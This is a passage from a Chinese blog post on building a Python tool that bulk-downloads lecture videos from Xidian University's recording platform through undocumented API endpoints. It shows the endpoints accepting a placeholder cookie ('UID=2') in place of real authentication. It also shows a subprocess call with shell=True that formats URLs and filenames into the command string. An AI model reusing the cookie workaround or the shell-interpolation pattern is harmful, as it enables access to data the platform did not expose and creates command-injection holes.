href=\"https://blog.lsy223622.com/archives/56/#content-%E5%BC%80%E5%A7%8B%E6%98%AF%E6%80%8E%E4%B9%88%E6%83%B3%E5%88%B0%E5%81%9A%E8%BF%99%E4%B8%AA%E7%9A%84%E5%91%A2\"\u003e开始是怎么想到做这个的呢?\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/56/#content-%E5%BC%80%E5%B9%B2%E8%B6%85%E7%BA%A7%E6%B5%81%E6%B0%B4%E8%B4%A6%E7%8E%AF%E8%8A%82\"\u003e开干!(超级流水账环节!)\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/56/#content-%E4%BD%BF%E7%94%A8%E6%BC%94%E7%A4%BA\"\u003e使用演示\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/56/#content-%E5%86%99%E5%9C%A8%E5%90%8E%E9%9D%A2\"\u003e写在后面\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-写在前面\" href=\"https://blog.lsy223622.com/archives/56/#content-%E5%86%99%E5%9C%A8%E5%89%8D%E9%9D%A2\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e写在前面\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e其实是前段时间写的程序了,但是一直没有在博客上记录下来,现在终于想起来了就写一下。\u003c/li\u003e\n\u003cli\u003e本文主要是记录一下这个程序的开发过程。\u003c/li\u003e\n\u003cli\u003e\n\u003cdel\u003e纯纯流水账没啥好看的捏\u003c/del\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-项目简介\" href=\"https://blog.lsy223622.com/archives/56/#content-%E9%A1%B9%E7%9B%AE%E7%AE%80%E4%BB%8B\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e项目简介\u003c/h1\u003e\n\u003cp\u003e\u003ca rel=\"noopener noreferrer\" href=\"https://github.com/lsy223622/XDUClassVideoDownloader/tags\"\u003e\u003cimg src=\"https://img.shields.io/github/v/tag/lsy223622/XDUClassVideoDownloader\" alt=\"GitHub Tag\" loading=\"lazy\"/\u003e\u003c/a\u003e\n\u003ca rel=\"noopener noreferrer\" href=\"https://github.com/lsy223622/XDUClassVideoDownloader/releases/latest\"\u003e\u003cimg src=\"https://img.shields.io/github/release-date-pre/lsy223622/XDUClassVideoDownloader\" alt=\"GitHub Release Date\" loading=\"lazy\"/\u003e\u003c/a\u003e\n\u003ca rel=\"noopener noreferrer\" href=\"https://github.com/lsy223622/XDUClassVideoDownloader/releases\"\u003e\u003cimg src=\"https://img.shields.io/github/downloads/lsy223622/XDUClassVideoDownloader/total\" alt=\"GitHub Downloads (all assets, all releases)\" loading=\"lazy\"/\u003e\u003c/a\u003e\n\u003ca rel=\"noopener noreferrer\" href=\"https://github.com/lsy223622/XDUClassVideoDownloader/stargazers\"\u003e\u003cimg src=\"https://img.shields.io/github/stars/lsy223622/XDUClassVideoDownloader\" alt=\"GitHub Repo stars\" loading=\"lazy\"/\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e本项目是一个用于下载西安电子科技大学录直播平台课程视频的工具。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e只需输入任意一节课的 \u003ccode\u003eliveId\u003c/code\u003e,即可自动下载 \u003ccode\u003e单节课\u003c/code\u003e / \u003ccode\u003e单集(半节课)\u003c/code\u003e / \u003ccode\u003e该课程的所有视频\u003c/code\u003e。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ccode\u003eliveId\u003c/code\u003e 是课程直播的唯一标识,可以在课程直播页面的 URL 中找到。如:\u003ccode\u003ehttp://newesxidian.chaoxing.com/live/viewNewCourseLive1?liveId=12345678\u003c/code\u003e 中的 \u003ccode\u003e12345678\u003c/code\u003e。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e同时会保存选择下载的范围内所有视频的 m3u8 链接到对应的 \u003ccode\u003ecsv\u003c/code\u003e 表格中,方便使用其他方式下载。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e下载时会自动检查之前是否下载过同一节课,如果已经下载则会跳过。所以可以在一学期中的多个时候随时下载新增的录播视频。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e下载的视频按照课程和时间整理,下载多个课程的视频也不会冲突。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e文件夹和 \u003ccode\u003ecsv\u003c/code\u003e 表格命名规则:年份-课程号-课程名。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e课程视频命名规则:课程号-课程名-年月日-周次-节号-视频来源。、\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-项目地址\" href=\"https://blog.lsy223622.com/archives/56/#content-%E9%A1%B9%E7%9B%AE%E5%9C%B0%E5%9D%80\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e项目地址\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca rel=\"noopener noreferrer\" href=\"https://github.com/lsy223622/XDUClassVideoDownloader\"\u003elsy223622/XDUClassVideoDownloader\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e项目介绍、使用方法、源代码和打包程序都在上面链接里,这里就不重复了哦~\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-开发过程\" href=\"https://blog.lsy223622.com/archives/56/#content-%E5%BC%80%E5%8F%91%E8%BF%87%E7%A8%8B\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e开发过程\u003c/h1\u003e\n\u003ch2\u003e\u003ca id=\"content-开始是怎么想到做这个的呢\" href=\"https://blog.lsy223622.com/archives/56/#content-%E5%BC%80%E5%A7%8B%E6%98%AF%E6%80%8E%E4%B9%88%E6%83%B3%E5%88%B0%E5%81%9A%E8%BF%99%E4%B8%AA%E7%9A%84%E5%91%A2\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e开始是怎么想到做这个的呢?\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e期末复习的时候,发现学校的录直播平台上有很多课程的录播视频,但是没有下载的按钮,只能在线观看。\u003c/li\u003e\n\u003cli\u003e但是在线观看的时候经常会卡顿,而且有时候需要反复观看,所以想着能不能下载下来看。\u003c/li\u003e\n\u003cli\u003e开始想到了 IDM 的视频下载功能,但是体验真不算好:\n\u003cul\u003e\n\u003cli\u003e首先需要打开每个视频的播放页面,等待漫长的加载时间,IDM 才能检测到视频。\u003c/li\u003e\n\u003cli\u003e然后要在每个视频的角落里一个一个点用 IDM 下载,下完所有视频得累死。\u003c/li\u003e\n\u003cli\u003e而且下载的视频文件名也是随机的一串数字,需要手动整理。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e碰巧看到群友提到录直播平台有能获取一节课所有视频链接的接口,于是就想着能不能写一个脚本来批量下载视频。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-开干超级流水账环节\" href=\"https://blog.lsy223622.com/archives/56/#content-%E5%BC%80%E5%B9%B2%E8%B6%85%E7%BA%A7%E6%B5%81%E6%B0%B4%E8%B4%A6%E7%8E%AF%E8%8A%82\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e开干!(超级流水账环节!)\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e根据群友提供的链接,使用 \u003ccode\u003eCurl\u003c/code\u003e 尝试了一下,确实能得到所有视频链接。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e这个链接能使用一节课的 \u003ccode\u003eliveId\u003c/code\u003e 获取到这门课所有视频的信息,包括课程号、课程名称、教师名称、上课教室、上课时间、\u003ccode\u003eliveId\u003c/code\u003e 等信息,群友提供的链接参数非常复杂,我筛选测试之后发现只保留以下参数就能工作:\n\u003cul\u003e\n\u003cli\u003e接口链接:\u003ccode\u003ehttp://newesxidian.chaoxing.com/live/listSignleCourse\u003c/code\u003e(\u003ccode\u003eSingle\u003c/code\u003e 拼成了 \u003ccode\u003eSignle\u003c/code\u003e,程序员扣大分)\u003c/li\u003e\n\u003cli\u003eURL 参数:\u003ccode\u003eliveId=12345678\u003c/code\u003e(随便一节课就行,不一定要第一节课)\u003c/li\u003e\n\u003cli\u003eUser-Agent: \u003ccode\u003eMozilla/5.0\u003c/code\u003e(UA 感觉是黑名单制度,\u003ccode\u003ecurl\u003c/code\u003e 不定义 UA 能正常工作,但 Python 的 \u003ccode\u003erequests\u003c/code\u003e 就不行,所以我就随便填了这个,能用就行)\u003c/li\u003e\n\u003cli\u003eCookie: \u003ccode\u003eUID=2\u003c/code\u003e(非空就行,随便给个数字,这鉴权太草率了吧)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e这个链接能使用一节课的 \u003ccode\u003eliveId\u003c/code\u003e 获取到这节课的录播查看页面链接,返回链接的 URL 参数是一段 URL 编码后的 Json,解码后能得到三个视频的 m3u8 链接,包括 \u003ccode\u003epptVideo\u003c/code\u003e \u003ccode\u003eteacherTrack\u003c/code\u003e \u003ccode\u003estudentFull\u003c/code\u003e,分别是投影仪画面、教师画面(自动追踪)和教室学生画面(黑板左上角的摄像头对着整个教室拍,但这个视频下载下来大多是破碎的,也没啥用,网页上播放的时候是隐藏的)。同样是筛选清理之后的参数:\n\u003cul\u003e\n\u003cli\u003e接口链接:\u003ccode\u003ehttp://newesxidian.chaoxing.com/live/getViewUrlHls\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003eURL 参数:\u003ccode\u003eliveId=12345678\u0026amp;status=2\u003c/code\u003e(\u003ccode\u003estatus=2\u003c/code\u003e 好像是需要的,但我忘记为什么了)\u003c/li\u003e\n\u003cli\u003eUser-Agent: \u003ccode\u003eMozilla/5.0\u003c/code\u003e(同上)\u003c/li\u003e\n\u003cli\u003eCookie: \u003ccode\u003eUID=2\u003c/code\u003e(同上)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e然后我直接把这一堆请求、返回值、解析处理的逻辑发给 ChatGPT,让它实现获取一门课所有视频的 m3u8 链接和时间等信息并保存到一个 \u003ccode\u003ecsv\u003c/code\u003e 表格里的功能。多亏了 GPT-4o,给我提供了一段非常完美的 Python 代码。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看 ChatGPT 给出的代码(那时候请求参数还没清理)\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003eimport subprocess\nimport json\nimport csv\nimport urllib.parse\n\ndef get_initial_data():\n curl_command = [\n \u0026#34;curl\u0026#34;, \u0026#34;http://newesxidian.chaoxing.com/live/listSignleCourse\u0026#34;,\n \u0026#34;--compressed\u0026#34;,\n \u0026#34;-X\u0026#34;, \u0026#34;POST\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;User-Agent: Mozilla/5.0 (Wayland; Linux x86_64; rv:120.1) Gecko/20100101 Firefox/120.1\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Accept: application/json, text/javascript, */*; q=0.01\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Accept-Language: en-US,en;q=0.7,ja;q=0.3\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Accept-Encoding: gzip, deflate\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Content-Type: application/x-www-form-urlencoded; charset=UTF-8\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;X-Requested-With: XMLHttpRequest\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Origin: http://newesxidian.chaoxing.com\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;DNT: 1\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Sec-GPC: 1\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Connection: keep-alive\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Referer: http://newesxidian.chaoxing.com/live/viewNewCourseLive1?isStudent=1\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Cookie: UID=9876\u0026#34;,\n \u0026#34;--data-raw\u0026#34;, \u0026#34;liveId=11740668\u0026#34;\n ]\n\n result = subprocess.run(curl_command, capture_output=True, text=True)\n return json.loads(result.stdout)\n\ndef get_m3u8_links(live_id):\n curl_command = [\n \u0026#34;curl\u0026#34;, f\u0026#34;http://newesxidian.chaoxing.com/live/getViewUrlHls?liveId={live_id}\u0026amp;status=2\u0026amp;jie=\u0026amp;isStudent=\u0026#34;,\n \u0026#34;--compressed\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;User-Agent: Mozilla/5.0\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Accept: */*\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Accept-Language: en-US,en;q=0.7,ja;q=0.3\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Accept-Encoding: gzip, deflate\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;X-Requested-With: XMLHttpRequest\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;DNT: 1\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Sec-GPC: 1\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Connection: keep-alive\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Referer: http://newesxidian.chaoxing.com/live/viewNewCourseLive1?isStudent=1\u0026#34;,\n \u0026#34;-H\u0026#34;, \u0026#34;Cookie: UID=2\u0026#34;\n ]\n\n result = subprocess.run(curl_command, capture_output=True, text=True)\n response = result.stdout\n\n url_start = response.find(\u0026#39;info=\u0026#39;)\n if url_start == -1:\n raise ValueError(\u0026#34;info parameter not found in the response\u0026#34;)\n\n encoded_info = response[url_start + 5:]\n decoded_info = urllib.parse.unquote(encoded_info)\n info_json = json.loads(decoded_info)\n\n video_paths = info_json.get(\u0026#39;videoPath\u0026#39;, {})\n ppt_video = video_paths.get(\u0026#39;pptVideo\u0026#39;, \u0026#39;\u0026#39;)\n teacher_track = video_paths.get(\u0026#39;teacherTrack\u0026#39;, \u0026#39;\u0026#39;)\n student_full = video_paths.get(\u0026#39;studentFull\u0026#39;, \u0026#39;\u0026#39;)\n\n return ppt_video, teacher_track, student_full\n\ndef main():\n data = get_initial_data()\n\n rows = []\n for entry in data:\n live_id = entry[\u0026#34;id\u0026#34;]\n month = entry[\u0026#34;startTime\u0026#34;][\u0026#34;month\u0026#34;]\n date = entry[\u0026#34;startTime\u0026#34;][\u0026#34;date\u0026#34;]\n day = entry[\u0026#34;startTime\u0026#34;][\u0026#34;day\u0026#34;]\n jie = entry[\u0026#34;jie\u0026#34;]\n days = entry[\u0026#34;days\u0026#34;]\n\n ppt_video, teacher_track, student_full = get_m3u8_links(live_id)\n\n row = [month, date, day, jie, days, ppt_video, teacher_track, student_full]\n rows.append(row)\n\n with open(\u0026#39;m3u8.csv\u0026#39;, mode=\u0026#39;w\u0026#39;, newline=\u0026#39;\u0026#39;) as file:\n writer = csv.writer(file)\n writer.writerow([\u0026#39;month\u0026#39;, \u0026#39;date\u0026#39;, \u0026#39;day\u0026#39;, \u0026#39;jie\u0026#39;, \u0026#39;days\u0026#39;, \u0026#39;pptVideo\u0026#39;, \u0026#39;teacherTrack\u0026#39;, \u0026#39;studentFull\u0026#39;])\n writer.writerows(rows)\n\n print(\u0026#34;m3u8.csv 文件已创建并写入数据。\u0026#34;)\n\nif __name__ == \u0026#34;__main__\u0026#34;:\n main()\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e我之前并没有写过 Python 程序,于是按照习惯让 ChatGPT 在 Python 中调用 \u003ccode\u003eCurl\u003c/code\u003e 命令行。之后经群友提醒换成了 Python 的 \u003ccode\u003erequests\u003c/code\u003e 库,这样代码更简洁,无需调用外部程序。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看改用 requests 库的第一段请求代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003edef get_initial_data():\nurl = \u0026#34;http://newesxidian.chaoxing.com/live/listSignleCourse\u0026#34;\nheaders = {\n \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (Wayland; Linux x86_64; rv:120.1) Gecko/20100101 Firefox/120.1\u0026#34;,\n \u0026#34;Accept\u0026#34;: \u0026#34;application/json, text/javascript, */*; q=0.01\u0026#34;,\n \u0026#34;Accept-Language\u0026#34;: \u0026#34;en-US,en;q=0.7,ja;q=0.3\u0026#34;,\n \u0026#34;Accept-Encoding\u0026#34;: \u0026#34;gzip, deflate\u0026#34;,\n \u0026#34;Content-Type\u0026#34;: \u0026#34;application/x-www-form-urlencoded; charset=UTF-8\u0026#34;,\n \u0026#34;X-Requested-With\u0026#34;: \u0026#34;XMLHttpRequest\u0026#34;,\n \u0026#34;Origin\u0026#34;: \u0026#34;http://newesxidian.chaoxing.com\u0026#34;,\n \u0026#34;DNT\u0026#34;: \u0026#34;1\u0026#34;,\n \u0026#34;Sec-GPC\u0026#34;: \u0026#34;1\u0026#34;,\n \u0026#34;Connection\u0026#34;: \u0026#34;keep-alive\u0026#34;,\n \u0026#34;Referer\u0026#34;: \u0026#34;http://newesxidian.chaoxing.com/live/viewNewCourseLive1?isStudent=1\u0026#34;,\n \u0026#34;Cookie\u0026#34;: \u0026#34;UID=9876\u0026#34;\n}\ndata = {\n \u0026#34;liveId\u0026#34;: \u0026#34;11740668\u0026#34;\n}\n\nresponse = requests.post(url, headers=headers, data=data)\nresponse.raise_for_status()\nreturn response.json()\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e程序一动不动地在那里默默干活肯定不行,我们也需要知道它有没有死,于是使用 \u003ccode\u003etqdm\u003c/code\u003e 加了一个进度条。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看使用 tqdm 的代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003efor entry in tqdm(data, desc=\u0026#34;Processing entries\u0026#34;):\n live_id = entry[\u0026#34;id\u0026#34;]\n month = entry[\u0026#34;startTime\u0026#34;][\u0026#34;month\u0026#34;]\n date = entry[\u0026#34;startTime\u0026#34;][\u0026#34;date\u0026#34;]\n day = entry[\u0026#34;startTime\u0026#34;][\u0026#34;day\u0026#34;]\n jie = entry[\u0026#34;jie\u0026#34;]\n days = entry[\u0026#34;days\u0026#34;]\n\n ppt_video, teacher_track, student_full = get_m3u8_links(live_id)\n\n row = [month, date, day, jie, days, ppt_video, teacher_track, student_full]\n rows.append(row)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e获取到 m3u8 链接之后,就可以让它调用下载程序下载视频了。这里我使用了 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/nilaoda/N_m3u8DL-RE\"\u003eN_m3u8DL-RE\u003c/a\u003e,因为 m3u8 是一种索引文件,里面包含了视频的分段链接,\u003ccode\u003eN_m3u8DL-RE\u003c/code\u003e 可以自动下载并合并这些分段视频。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看使用 subprocess 调用 N_m3u8DL-RE 的代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003ecommand = f\u0026#39;N_m3u8DL-RE.exe \u0026#34;{url}\u0026#34; --save-dir \u0026#34;m3u8\u0026#34; --save-name \u0026#34;{filename}\u0026#34;\u0026#39;\nsubprocess.run(command, shell=True, check=True)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e为了让文件名信息丰富易于整理,按照“courseCodecourseNamex年x月x日第days周星期day第jie节-pptVideo/teacherTrack”的格式命名,星期几转换成更加符合习惯的汉字。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看文件名命名代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003edef day_to_chinese(day):\n days = [\u0026#34;日\u0026#34;, \u0026#34;一\u0026#34;, \u0026#34;二\u0026#34;, \u0026#34;三\u0026#34;, \u0026#34;四\u0026#34;, \u0026#34;五\u0026#34;, \u0026#34;六\u0026#34;]\n return days[day]\n\nfor row in tqdm(rows, desc=\u0026#34;Downloading videos\u0026#34;):\n month, date, day, jie, days, ppt_video, teacher_track, student_full = row\n day_chinese = day_to_chinese(day)\n\n if ppt_video:\n filename = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}节-pptVideo\u0026#34;\n download_m3u8(ppt_video, filename)\n\n if teacher_track:\n filename = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}节-teacherTrack\u0026#34;\n download_m3u8(teacher_track, filename)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e接口提供的信息没有年份,倒是有时间戳。如果是重修的话一门课就会上不止一次,为了可以收藏不同学年的同一节课,改成用时间戳转换得到年月日。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看时间戳转换代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003estart_time_unix = start_time / 1000\nstart_time_struct = time.gmtime(start_time_unix)\nmonth = start_time_struct.tm_mon\ndate = start_time_struct.tm_mday\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e判断是否存在已经下载的视频,存在就跳过下载。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看更新后的代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003efor row in tqdm(rows, desc=\u0026#34;Downloading videos\u0026#34;):\n month, date, day, jie, days, ppt_video, teacher_track = row\n day_chinese = day_to_chinese(day)\n\n if ppt_video:\n filename = f\u0026#34;{course_code}{course_name}{year}年{month}月{date}日第{days}周星期{day_chinese}第{jie}节-pptVideo\u0026#34;\n filepath = os.path.join(save_dir, f\u0026#34;{filename}.ts\u0026#34;)\n if os.path.exists(filepath):\n print(f\u0026#34;{filepath} 已存在,跳过下载。\u0026#34;)\n else:\n download_m3u8(ppt_video, filename, save_dir)\n\n if teacher_track:\n filename = f\u0026#34;{course_code}{course_name}{year}年{month}月{date}日第{days}周星期{day_chinese}第{jie}节-teacherTrack\u0026#34;\n filepath = os.path.join(save_dir, f\u0026#34;{filename}.ts\u0026#34;)\n if os.path.exists(filepath):\n print(f\u0026#34;{filepath} 已存在,跳过下载。\u0026#34;)\n else:\n download_m3u8(teacher_track, filename, save_dir)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e感谢群友 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/chitao1234\"\u003echi(Waylandhater\u003c/a\u003e 提出的添加命令行使用方法和单个视频下载模式,并且十分贴心地发了 pull request,直接帮我搞定了。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看添加命令行使用方法的代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003efrom argparse import ArgumentParser\n\ndef main(liveid_from_cli=None, command=\u0026#39;\u0026#39;):\nwhile True:\n if liveid_from_cli:\n input_live_id = liveid_from_cli\n liveid_from_cli = None\n else:\n input_live_id = input(\u0026#34;请输入 liveId:\u0026#34;)\n......\n\ndef parse_arguments():\n parser = ArgumentParser(description=\u0026#39;用于下载西安电子科技大学录直播平台课程视频的工具\u0026#39;)\n parser.add_argument(\u0026#39;liveid\u0026#39;, nargs=\u0026#39;?\u0026#39;, default=None, help=\u0026#39;直播ID,不输入则采用交互式方式获取\u0026#39;)\n parser.add_argument(\u0026#39;-c\u0026#39;, \u0026#39;--command\u0026#39;, default=\u0026#39;\u0026#39;, help=\u0026#39;自定义下载命令,使用 {url}, {save_dir}, {filename} 作为替换标记\u0026#39;)\n\n args = parser.parse_args()\n return args\n\nif __name__ == \u0026#34;__main__\u0026#34;:\n args = parse_arguments()\n main(liveid_from_cli=args.liveid, command=args.command)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看添加单个视频下载模式的代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003edef main(liveid_from_cli=None, command=\u0026#39;\u0026#39;, single=False):\nwhile True:\n if liveid_from_cli:\n input_live_id = liveid_from_cli\n......\n\nfor entry in tqdm(data, desc=\u0026#34;Processing entries\u0026#34;):\n live_id = entry[\u0026#34;id\u0026#34;]\n if single and str(live_id) != input_live_id:\n continue\n......\n\n parser.add_argument(\u0026#39;-s\u0026#39;, \u0026#39;--single\u0026#39;, default=False, action=\u0026#39;store_true\u0026#39;, help=\u0026#39;仅下载单集视频\u0026#39;)\n......\n\nif __name__ == \u0026#34;__main__\u0026#34;:\nargs = parse_arguments()\nmain(liveid_from_cli=args.liveid, command=args.command, single=args.single)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e群友说代码开头要加一行 shebang,我就加了一行 shebang。这 shebang 有啥用呢?我也不知道,但网上一搜说是在 Linux 上运行要用的,指定执行这个代码的程序路径。这行一加,看起来代码没啥变化,结果 Windows 上双击运行不起来了,按说是行注释吧,但是双击之后就是闪退。你们 Linux 真的是(指指点点)。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看添加的 shebang\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003e#!/usr/bin/env python3\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e那行吧,为了照顾 Linux 用户,这 shebang 就留着了。那 Windows 怎么办?我加了一个 \u003ccode\u003ebat\u003c/code\u003e 文件,双击这个 \u003ccode\u003ebat\u003c/code\u003e 文件就能正常运行了。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看添加的 windows_run.bat 文件\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-bat\"\u003e@echo off\npython XDUClassVideoDownloader.py %*\npause\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e非常美丽脚本,这使我的运行环境旋转。我突然觉得每个用户在使用之前都照着 Readme 配一遍运行环境也太麻烦了,而且对小白用户来说也不友好,于是想到了把运行环境打包进去,这样用户只需要下载一个文件就能直接运行了。使用 \u003ccode\u003epyinstaller\u003c/code\u003e 打包之后就能得到一个 \u003ccode\u003eXDUClassVideoDownloader.exe\u003c/code\u003e 文件,不用配环境,双击就能运行了。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看打包命令\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-shell\"\u003epip install pyinstaller\npython -m venv .venv\n.venv\\Scripts\\activate\npip install requests tqdm\npyinstaller --onefile --add-data \u0026#34;N_m3u8DL-RE.exe;.\u0026#34; --add-data \u0026#34;ffmpeg.exe;.\u0026#34; XDUClassVideoDownloader.py\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e打包用的脚本最后需要添加一行,使它在执行结束之后不会自己关闭窗口,等按回车之后才会关闭。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看等待输入的代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003einput(\u0026#34;按回车退出...\u0026#34;)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e因为添加了 FFmpeg 这个庞然大物,打包之后的 exe 文件有好几十 MB,这可太大了。但是 \u003ccode\u003eN_m3u8DL-RE\u003c/code\u003e 需要 FFmpeg,执行的时候会检测 FFmpeg 是否存在,不存在就不能正常用了。我还尝试把 FFmpeg 从 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/BtbN/FFmpeg-Builds/releases\"\u003eBtbN\u003c/a\u003e 编译的版本换成了 \u003ca rel=\"noopener noreferrer\" href=\"https://www.gyan.dev/ffmpeg/builds/\"\u003egyan.dev\u003c/a\u003e 编译的 essentials 版本,但是打包体积也就稍微小了一点,准确来说是从 58.5 MB 减小到了 43.9 MB,至少是个进步吧。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e然后我又转念一想,这不对劲。我在 \u003ccode\u003eN_m3u8DL-RE\u003c/code\u003e 